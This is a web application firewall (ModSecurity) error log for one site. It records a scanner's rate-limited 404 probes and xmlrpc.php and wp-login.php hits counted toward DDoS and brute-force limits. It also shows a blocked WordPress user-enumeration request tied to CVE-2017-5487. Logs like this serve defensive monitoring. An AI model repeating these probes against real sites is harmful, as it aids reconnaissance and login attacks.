[Sat May 09 12:06:54.315078 2026] [:error] [pid 9187:tid 9276] [client 212.227.21.19:46194] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "af6y3hC7An6gkXsRsaFWPQAAAJc"]
[Sat May 09 12:06:56.332683 2026] [:error] [pid 9833:tid 9843] [client 212.227.21.19:46202] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "af6y4CM9JmxIS0KGZUBn-wAAAYU"]
[Sat May 09 12:06:58.338850 2026] [:error] [pid 9293:tid 9319] [client 212.227.21.19:1432] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "af6y4pR__qEzV5O6Z2NoGwAAANY"]
[Sat May 09 12:07:00.356512 2026] [:error] [pid 9833:tid 9846] [client 212.227.21.19:1444] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "af6y5CM9JmxIS0KGZUBn_wAAAYg"]
[Sat May 09 12:07:02.360477 2026] [:error] [pid 9293:tid 9321] [client 212.227.21.19:1458] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "af6y5pR__qEzV5O6Z2NoPQAAANg"]
[Sat May 09 12:07:04.379142 2026] [:error] [pid 9184:tid 9198] [client 212.227.21.19:1466] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "af6y6IjfODqb_i0Fm9-BlgAAAAE"]
[Sat May 09 12:07:06.384589 2026] [:error] [pid 9663:tid 9684] [client 212.227.21.19:1482] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "af6y6pcWIu01SCxbjwsVAgAAARI"]
[Sat May 09 12:07:08.393069 2026] [:error] [pid 9184:tid 9210] [client 212.227.21.19:30588] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "af6y7IjfODqb_i0Fm9-BmAAAAA0"]
[Sat May 09 12:07:10.398603 2026] [:error] [pid 9293:tid 9316] [client 212.227.21.19:30604] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "af6y7pR__qEzV5O6Z2NoRwAAANM"]
[Sat May 09 12:07:12.250864 2026] [:error] [pid 9833:tid 9855] [client 212.227.21.19:30616] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "af6y8CM9JmxIS0KGZUBoCQAAAZE"]
[Sat May 09 12:07:14.288713 2026] [:error] [pid 9184:tid 9213] [client 212.227.21.19:30628] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "af6y8ojfODqb_i0Fm9-BnAAAABA"]
[Sat May 09 12:07:16.295339 2026] [:error] [pid 9184:tid 9208] [client 212.227.21.19:30632] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "af6y9IjfODqb_i0Fm9-BngAAAAs"]
[Sat May 09 12:07:18.313538 2026] [:error] [pid 9760:tid 9789] [client 212.227.21.19:42848] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "af6y9mIkCp-C_fh0s7Iw8gAAAVc"]
[Sat May 09 12:07:20.192857 2026] [:error] [pid 9920:tid 9944] [client 212.227.21.19:42856] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "af6y-ExitGYhlzgZb5a3eAAAAdY"]
[Sat May 09 12:07:22.223564 2026] [:error] [pid 9184:tid 9207] [client 212.227.21.19:42872] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "af6y-ojfODqb_i0Fm9-BogAAAAo"]
[Sat May 09 12:07:24.107374 2026] [:error] [pid 9760:tid 9773] [client 212.227.21.19:42878] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "af6y_GIkCp-C_fh0s7Iw9wAAAUc"]
[Sat May 09 12:07:26.010582 2026] [:error] [pid 9760:tid 9785] [client 212.227.21.19:42892] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "af6y_mIkCp-C_fh0s7Iw_AAAAVM"]
[Sat May 09 12:07:27.936354 2026] [:error] [pid 9920:tid 9927] [client 212.227.21.19:58488] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "af6y_0xitGYhlzgZb5a3fgAAAcU"]
[Sat May 09 12:07:29.854134 2026] [:error] [pid 9184:tid 9217] [client 212.227.21.19:58496] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "af6zAYjfODqb_i0Fm9-BpgAAABQ"]
[Sat May 09 12:07:31.410757 2026] [:error] [pid 9184:tid 9217] [client 212.227.21.19:58496] [client 212.227.21.19] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "45.63.21.84_4b350ac03c5f54ed08844240fe1f921babfd9958"): Internal error (specific information not available) [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "af6zAYjfODqb_i0Fm9-BpgAAABQ"]
[Sat May 09 12:07:31.894359 2026] [:error] [pid 9663:tid 9681] [client 212.227.21.19:58510] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "af6zA5cWIu01SCxbjwsVCAAAAQ8"]
[Sat May 09 12:07:33.846174 2026] [:error] [pid 9293:tid 9305] [client 212.227.21.19:58514] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "af6zBZR__qEzV5O6Z2NoWAAAAMg"]
[Sat May 09 12:07:35.715002 2026] [:error] [pid 9293:tid 9297] [client 212.227.21.19:58524] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "af6zB5R__qEzV5O6Z2NoYgAAAMA"]
[Sat May 09 12:07:37.617030 2026] [:error] [pid 9833:tid 9845] [client 212.227.21.19:53038] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "af6zCSM9JmxIS0KGZUBoEgAAAYc"]
[Sat May 09 12:07:39.647989 2026] [:error] [pid 9833:tid 9852] [client 212.227.21.19:53050] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "af6zCyM9JmxIS0KGZUBoFQAAAY4"]
[Sat May 09 12:07:41.711950 2026] [:error] [pid 9760:tid 9769] [client 212.227.21.19:53054] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "af6zDWIkCp-C_fh0s7IxLAAAAUM"]
[Sat May 09 12:07:43.784807 2026] [:error] [pid 9920:tid 9923] [client 212.227.21.19:53064] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "af6zD0xitGYhlzgZb5a3nAAAAcE"]
[Sat May 09 12:07:45.680693 2026] [:error] [pid 9920:tid 9925] [client 212.227.21.19:53068] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "af6zEUxitGYhlzgZb5a3xQAAAcM"]
[Sat May 09 12:07:47.716743 2026] [:error] [pid 9663:tid 9675] [client 212.227.21.19:9968] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "af6zE5cWIu01SCxbjwsVFQAAAQk"]
[Sat May 09 12:31:46.104316 2026] [:error] [pid 9187:tid 9269] [client 136.109.175.247:59258] [client 136.109.175.247] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.109.175.247, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af64shC7An6gkXsRsaFdigAAAJA"]
[Sat May 09 12:31:50.763486 2026] [:error] [pid 9187:tid 9274] [client 136.109.175.247:59258] [client 136.109.175.247] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "af64thC7An6gkXsRsaFdlgAAAJU"]
[Sat May 09 12:31:52.440720 2026] [:error] [pid 9187:tid 9261] [client 136.109.175.247:59258] [client 136.109.175.247] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.109.175.247, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af64uBC7An6gkXsRsaFdmgAAAIg"]
[Sat May 09 12:31:54.443011 2026] [:error] [pid 9186:tid 9250] [client 136.109.175.247:60260] [client 136.109.175.247] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.109.175.247, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af64uhW4eFOEw1mKOgK5RwAAAFg"]
[Sat May 09 12:31:56.351080 2026] [:error] [pid 9186:tid 9234] [client 136.109.175.247:62338] [client 136.109.175.247] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.109.175.247, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af64vBW4eFOEw1mKOgK5SAAAAEg"]
[Sat May 09 12:31:58.322649 2026] [:error] [pid 9293:tid 9301] [client 136.109.175.247:58973] [client 136.109.175.247] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.109.175.247, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af64vpR__qEzV5O6Z2NvhAAAAMQ"]
[Sat May 09 12:32:00.341812 2026] [:error] [pid 9187:tid 9264] [client 136.109.175.247:63127] [client 136.109.175.247] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.109.175.247, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af64wBC7An6gkXsRsaFdpQAAAIs"]
[Sat May 09 12:32:00.342011 2026] [:error] [pid 9187:tid 9264] [client 136.109.175.247:63127] [client 136.109.175.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 136.109.175.247, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af64wBC7An6gkXsRsaFdpQAAAIs"]
[Sat May 09 13:37:21.625374 2026] [:error] [pid 9663:tid 9680] [client 59.92.68.148:1753] [client 59.92.68.148] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 59.92.68.148, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af7IEZcWIu01SCxbjwskAgAAAQ4"]
[Sat May 09 13:37:32.292758 2026] [:error] [pid 9920:tid 9941] [client 59.92.68.148:14554] [client 59.92.68.148] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 59.92.68.148, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af7IHExitGYhlzgZb5bKmQAAAdM"]
[Sat May 09 13:37:42.740729 2026] [:error] [pid 9920:tid 9943] [client 117.254.32.113:32592] [client 117.254.32.113] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 117.254.32.113, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af7IJkxitGYhlzgZb5bKugAAAdU"]
[Sat May 09 13:37:52.929508 2026] [:error] [pid 9663:tid 9673] [client 117.254.32.113:32625] [client 117.254.32.113] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 117.254.32.113, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af7IMJcWIu01SCxbjwskGQAAAQc"]
[Sat May 09 13:38:03.431679 2026] [:error] [pid 9187:tid 9265] [client 117.254.32.113:32607] [client 117.254.32.113] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 117.254.32.113, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af7IOxC7An6gkXsRsaFy3QAAAIw"]
[Sat May 09 13:38:13.963410 2026] [:error] [pid 9184:tid 9198] [client 117.254.32.113:32845] [client 117.254.32.113] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 117.254.32.113, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af7IRYjfODqb_i0Fm9-JxQAAAAE"]
[Sat May 09 13:38:24.490046 2026] [:error] [pid 9920:tid 9922] [client 117.254.32.113:32524] [client 117.254.32.113] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 117.254.32.113, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af7IUExitGYhlzgZb5bK8wAAAcA"]
[Sat May 09 15:26:33.754855 2026] [:error] [pid 9833:tid 9854] [client 122.179.198.44:50308] [client 122.179.198.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.179.198.44, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af7hqSM9JmxIS0KGZUB-TgAAAZA"]
[Sat May 09 15:26:44.309822 2026] [:error] [pid 9663:tid 9679] [client 122.179.198.44:50761] [client 122.179.198.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.179.198.44, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af7htJcWIu01SCxbjws2bQAAAQ0"]
[Sat May 09 15:26:54.889420 2026] [:error] [pid 9293:tid 9298] [client 122.179.198.44:51217] [client 122.179.198.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.179.198.44, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af7hvpR__qEzV5O6Z2OgswAAAME"]
[Sat May 09 15:27:05.500649 2026] [:error] [pid 9920:tid 9922] [client 122.179.198.44:51680] [client 122.179.198.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.179.198.44, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af7hyUxitGYhlzgZb5biRAAAAcA"]
[Sat May 09 15:27:16.156656 2026] [:error] [pid 9920:tid 9930] [client 122.179.198.44:52153] [client 122.179.198.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.179.198.44, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af7h1ExitGYhlzgZb5biTQAAAcg"]
[Sat May 09 15:50:06.320771 2026] [:error] [pid 9187:tid 9270] [client 106.54.62.156:47640] [client 106.54.62.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "af7nLhC7An6gkXsRsaGiaQAAAJE"]
[Sat May 09 16:25:09.246716 2026] [:error] [pid 9293:tid 9306] [client 49.51.203.164:34464] [client 49.51.203.164] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "af7vZZR__qEzV5O6Z2OxGQAAAMk"]
[Sat May 09 22:20:44.655418 2026] [:error] [pid 55353:tid 55371] [client 43.166.244.66:34810] [client 43.166.244.66] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "af9CvCDuyNO3XosoIYRcwAAAARA"]
[Sat May 09 23:47:45.287708 2026] [:error] [pid 55191:tid 55294] [client 43.153.58.28:34900] [client 43.153.58.28] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "af9XIfMcqx1kfQsw7c4pJwAAAJE"]
[Sun May 10 02:48:40.086325 2026] [:error] [pid 62831:tid 62838] [client 91.92.243.238:55309] [client 91.92.243.238] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.243.238, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "af-BiOYBNqNhtZ_l7qB-BAAAAAU"]
[Sun May 10 02:48:51.685506 2026] [:error] [pid 62831:tid 62843] [client 91.92.243.238:56796] [client 91.92.243.238] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.243.238, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "af-Bk-YBNqNhtZ_l7qB-DgAAAAo"]
